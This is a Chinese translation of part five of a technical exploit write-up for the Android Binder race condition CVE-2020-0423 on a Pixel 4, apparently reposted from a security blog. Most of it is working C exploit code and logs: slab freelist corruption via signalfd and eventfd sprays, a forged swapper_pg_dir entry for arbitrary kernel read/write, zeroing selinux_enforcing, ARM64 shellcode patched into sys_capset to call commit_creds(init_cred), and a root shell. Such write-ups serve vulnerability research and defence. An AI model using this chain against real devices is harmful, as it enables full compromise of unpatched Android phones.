深入分析Binder中的单指令竞态条件漏洞(五)

2021-01-08 6,601

在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。

 

(接上文)

 

IntermediateBSS分配

 

因为我们不确定我们是否能够用正确的swapper_pg_dir地址替换freelist指针,所以我们需要用另一种方式将它写在其他地方,并使freelist指针指向它。这样,我们就可以在两个而不是一个分配中编写描述符。这个阶段有点复杂,我们将一步一步地解释。

 

此过程的第一个要求是找到一个完全用零填充并且足够大的内核内存区域,以便即使signalfd修改我们的原始地址,我们也将最终进入其中(即,它应该大于0x40100字节)。应该用零填充的原因是因为我们将在其中分配slab对象,并且如果在此处存在非null值,它将用一个不可控制的地址替换freelist指针,并且如果随后进行分配,则会使系统崩溃发生在未映射或正在使用的内存中。

 

内核中可能存在满足这些要求的地址。就这里来说,我们选择了长度为0x198000的ipa_testbus_mem缓冲区。它是基于Qualcomm的设备所特有的,足以应对我们的Pixel 4攻击。

 

lyte@debian:~$ aarch64-linux-gnu-nm --print-size vmlinux | grep ipa_testbus_mem

ffffff900c19b0b8 0000000000198000 b ipa_testbus_mem

为了举例起见,我们将假设该缓冲区位于地址0x10000000处。如果我们要将freelist指针改为指向这个地址,它将被转换为0x10040100。但是,在这种情况下,这并不是一个问题,因为我们仍将以原始缓冲区结尾,并确保0x10040100的值仍为零。

 

1.png

 

正如我们前面所说的,我们将分两次进行分配。第一次是在ipa_testbus_mem中进行的分配,它将设置下一个freelist指针的值,并使其指向我们的swapper_pg_dir条目地址。然后,我们将释放所有内容,并利用该值重做一系列signalfd,以最终分配到swapper_pg_dir中的条目的内存空间。但是,要进行第一次分配,我们需要一个允许我们写入至少8个字节的任意值的对象。我们可以重用sendmsgs,但是它们需要被阻塞,因为我们必须耗尽slab的freelist才能到达我们的分配位置。由于非阻塞的sendmsg会被立即释放,所以情况就不是这样了。阻塞sendmsgs是一个潜在的解决方案,但是它的设置工作要比我们选择的对象(即eventfd)多一些。

 

struct eventfd_ctx {

    struct kref kref;

    wait_queue_head_t wqh;

    /*

     * Every time that a write(2) is performed on an eventfd, the

     * value of the __u64 being written is added to "count" and a

     * wakeup is performed on "wqh". A read(2) will return the "count"

     * value to userspace, and will reset "count" to zero. The kernel

     * side eventfd_signal() also, adds to the "count" counter and

     * issue a wakeup.

     */

    __u64 count;

    unsigned int flags;

};

 

利用eventfd的count字段,可以在内核内存中写入任意值。只需在eventfd返回的文件描述符上使用write写入一个值,就会使count递增相同的量。现在,策略如下:

 

使重叠信号FD与悬空存储器重叠

使用重叠的signalfd改变freelist指针,使其指向ipa_testbus_mem | 0x40100,这样signalfd带来的变化就不重要了

使用eventfds喷射,并在count中写入swapper_pg_dir条目的地址

 

1.png

1.png

 

在这个阶段,我们已经在内核内存中获得了一个持久的用户控制值。现在的想法是,使用这个值作为Slab的freelist的一部分。接下来的步骤如下:

 

  • 释放所有eventfds

  • 使用重叠signalfd篡改freelist指针,使其指向ipa_testbus_mem | 0x40100 + 0x20 (0x20为eventfd_ctx中count的偏移量)

  • 使用其sigset值设置为块描述符0x00E8000080000751的signalfds进行喷射

 

1.png


1.png

1.png

 

一旦将条目写入swapper_pg_dir,我们就可以使用基地址0xFFFFFFF800000000从内核内存中进行任意的读写操作。

 

具体实现代码如下所示:

 

uint64_t bss_target = (kaslr_leak + IPA_TESTBUS_MEM) | 0x40100;

 

/*

 * Changing the freelist pointer using overlapping_fd to

 * `ipa_testbus_mem | 0x40100`

 */

debug_printf("BSS alloc will be @%lx", bss_target);

uint64_t sigset_target = ~bss_target;

ret = signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);

if (ret < 0)

    debug_printf("Could not change overlapping_fd value with %lx", bss_target);

mask = get_sigfd_sigmask(overlapping_fd);

debug_printf("Value @X after changing overlapping_fd is %lx", mask);

 

uint64_t gb = 0x40000000;

uint64_t index = 0x1e0;

uint64_t base = 0xffffff8000000000 + gb * index;

uint64_t target = kaslr_leak + SWAPPER_PG_DIR + index * 8;

 

debug_printf("Swapper dir alloc will be @%lx (index = %lx, base = %lx)",

    target, index, base);

 

/*

 * Spraying using eventfds to get our `swapper_pg_dir` entry address in

 * `ipa_testbus_mem`

 */

for (int i = 0; i < NB_EVENTFDS_FINAL; i++) {

    eventfd_bss[i] = eventfd(0, EFD_NONBLOCK);

    if (eventfd_bss[i] < 0)

        debug_printf("Could not open eventfd - %d (%s)", eventfd_bss[i], strerror(errno));

 

    /*

     * Modifying count so that it holds the address to the `swapper_pg_dir`

     * entry

     */

    ret = write(eventfd_bss[i], &target, sizeof(uint64_t));

    if (ret < 0)

        debug_printf("Could not write eventfd - %d (%s)", eventfd_bss[i], strerror(errno));

}

 

/*

 * Freeing all eventfds until the overlapping signalfd sees another value

 */

uint64_t orig_mask = get_sigfd_sigmask(overlapping_fd);

for (int i = 0; i < NB_EVENTFDS_FINAL; i++) {

    ret = close(eventfd_bss[i]);

    if (ret < 0)

        debug_printf("Could not close eventfd (%d - %s)", eventfd_bss[i], strerror(errno));

 

    mask = get_sigfd_sigmask(overlapping_fd);

    if (mask != orig_mask) goto next_stage;

}

 

next_stage:

/*

 * Changing the freelist pointer using overlapping_fd to

 * `ipa_testbus_mem | 0x40100 + 0x20`

 */

bss_target = bss_target + (uint64_t)0x20;

uint64_t sigset_target = ~bss_target;

ret = signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);

if (ret < 0)

    debug_printf("Could not change overlapping_fd value with %lx", bss_target);

mask = get_sigfd_sigmask(overlapping_fd);

debug_printf("Value @X after changing overlapping_fd is %lx", mask);

 

/* Block descriptor written in `swapper_pg_dir` */

uint64_t block_descriptor = 0x00e8000000000751;

block_descriptor += 0x80000000; /* Kernel text physical address 1Gb-aligned */

 

/*

 * Spraying using signalfds to get our `block_descriptor` in

 * `swapper_pg_dir`

 */

int signalfd_bss[NB_SIGNALFDS_FINAL];

for (int i = 0; i < NB_SIGNALFDS_FINAL; i++) {

    unsigned long sigset_value = ~block_descriptor;

    signalfd_bss[i] = signalfd(-1, (sigset_t*)&sigset_value, 0);

    if (signalfd_bss[i] < 0)

        debug_printf("Could not open signalfd - %d (%s)", signalfd_bss[i], strerror(errno));

}

 

/*

 * Dumping the first 4 bytes of the text section

 * 0x80000 is added to the base address since we mapped 0x80000000 and the text

 * section is at 0x80080000

 */

debug_printf("Kernel text value = %lx", *(unsigned long *)(base + 0x80000));

 

结果如下所示:

 

[6397] exploit.c:419:trigger_thread_func(): Swapper dir alloc will be @ffffff9a130b5f00 (index = 1e0, base = fffffff800000000)

[6498] exploit.c:431:trigger_thread_func(): BSS alloc will be @ffffff9a12f45158

[6498] exploit.c:437:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45158

[6498] exploit.c:483:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45178

[6397] exploit.c:508:trigger_thread_func(): Kernel text value = 148cc000

 

我们还可以注意到,我们映射的部分的前四个字节对应于vmlinux二进制文件的开头部分:

 

lyte@debian:~$ xxd vmlinux | head

00000000: 00c0 8c14 0000 0000 0000 0800 0000 0000  ................

00000010: 0070 2303 0000 0000 0a00 0000 0000 0000  .p#.............

00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................

 

提升至Root权限

 

我们现在正处于漏洞利用的最后阶段。在本节中,我们将利用我们的任意内核读/写原语来禁用SELinux,修改进程的凭据并最终获得root shell。

 

绕过SELinux

 

这一部分非常简单,对于Android攻击来说也很常见。我们只需将selinux_enforcing设置为0即可。

 

/* selinux_enforcing address in the remapped kernel region */

uint64_t selinux_enforcing_addr = base + 0x80000 + SELINUX_ENFORCING;

 

debug_printf("Before: enforcing = %x\n", *(uint32_t *)selinux_enforcing_addr);

 

/* setting selinux_enforcing to 0 */

*(uint32_t *)selinux_enforcing_addr = 0;

 

debug_printf("After: enforcing = %x\n", *(uint32_t *)selinux_enforcing_addr);

 

使用上面给出的代码片段,您应该会看到如下所示的输出:

 

[6397] exploit.c:508:trigger_thread_func(): Before: enforcing = 1

[6397] exploit.c:508:trigger_thread_func(): After: enforcing = 0

Init凭据

 

现在,剩下的最后一个问题是获取进程的root权限。为了实现这一点,我们将使用我们的read/write原语临时修改一个syscall处理程序。在本例中,我们将修改sys_capset,但在实践中,任何syscall都可以使用,只需确保它们在漏洞利用代码运行时被调用的机率很小即可。

 

为了获得root的权限和功能,我们将把exploit进程的凭据更改为init的凭据。为此,在init_cred上添加一个简单的commit_creds就可以解决这个问题。

 

这个过程对应的C代码如下所示:

 

#define LO_DWORD(addr) ((addr) & 0xffffffff)

#define HI_DWORD(addr) LO_DWORD((addr) >> 32)

 

/* Preparing addresses for the shellcode */

uint64_t sys_capset_addr = base + 0x80000 + SYS_CAPSET;

uint64_t init_cred_addr = kaslr_leak + INIT_CRED;

uint64_t commit_creds_addr = kaslr_leak + COMMIT_CREDS;

 

uint32_t shellcode[] = {

    // commit_creds(init_cred)

    0x58000040, // ldr x0, .+8

    0x14000003, // b   .+12

    LO_DWORD(init_cred_addr),

    HI_DWORD(init_cred_addr),

    0x58000041, // ldr x1, .+8

    0x14000003, // b   .+12

    LO_DWORD(commit_creds_addr),

    HI_DWORD(commit_creds_addr),

    0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]!

    0xD63F0020, // blr x1

    0xA8C17BFD, // ldp x29, x30, [sp], #0x10

 

    0x2A1F03E0, // mov w0, wzr

    0xD65F03C0, // ret

};

 

/* Saving sys_capset current code */

uint8_t sys_capset[sizeof(shellcode)];

memcpy(sys_capset, sys_capset_addr, sizeof(sys_capset));

 

/* Patching sys_capset with our shellcode */

debug_print("Patching SyS_capset()\n");

memcpy(sys_capset_addr, shellcode, sizeof(shellcode));

 

/* Calling our patched version of sys_capset */

ret = capset(NULL, NULL);

debug_printf("capset returned %d", ret);

if (ret < 0) perror("capset failed");

 

/* Restoring sys_capset */

debug_print("Restoring SyS_capset()");

memcpy(sys_capset_addr, sys_capset, sizeof(sys_capset));

 

/* Starting a shell */

system("sh");

 

exit(0);

 

Root Shell

 

最后,我们可以将所有内容放在一起,启动exploit,就可以获取root shell了。

 

[6397] exploit.c:508:trigger_thread_func(): Patching SyS_capset()

[6397] exploit.c:585:trigger_thread_func(): capset returned 0

[6397] exploit.c:588:trigger_thread_func(): Restoring SyS_capset()

id

uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

uname -a

Linux localhost 4.14.170-g5513138224ab-ab6570431 #1 SMP PREEMPT Tue Jun 9 02:18:01 UTC 2020 aarch64

 

参考资料

 

    Binder Transactions In The Bowels of the Linux Kernel - Synkactiv

        https://www.synacktiv.com/en/publications/binder-transactions-in-the-bowels-of-the-linux-kernel

    Exploiting CVE-2020-0041: Escaping the Chrome Sandbox - Blue Frost Security

        Part 1: https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/

        Part 2: https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/

    Android Kernel Sources - Before the patch for CVE-2020-0423

        https://android.googlesource.com/kernel/common/+/13abe236365485368755fb76c57a67a9b1f640d8/

    Service Manager Sources

        https://android.googlesource.com/platform/frameworks/native/+/5516d77f61c0553f20b7332842863bc511a97074/cmds/servicemanager/binder.c

    Building a Pixel kernel with KASAN+KCOV

        https://source.android.com/devices/tech/debug/kasan-kcov

    The SLUB allocator - PaoloMonti42

        https://github.com/PaoloMonti42/salt/blob/master/docs/0x00_SLUB_refresher.md

    Google Developers - Pixel 4 "flame" factory images

        https://developers.google.com/android/images#flame

    Mitigations are attack surface, too - Project Zero

        https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack-surface-too.html

    CVE-2017-11176: A step-by-step Linux Kernel exploitation - Lexfo

        Part 1: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html

        Part 2: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html

        Part 3: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

        Part 4: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html

    KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKing

        https://i.blackhat.com/briefings/asia/2018/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf

 

原文地址:https://blog.longterm.io/cve-2020-0423.html


本文作者:mssp299

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/151031.html

Tags:
评论  (0)
快来写下你的想法吧!

mssp299

文章数:51 积分: 662

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号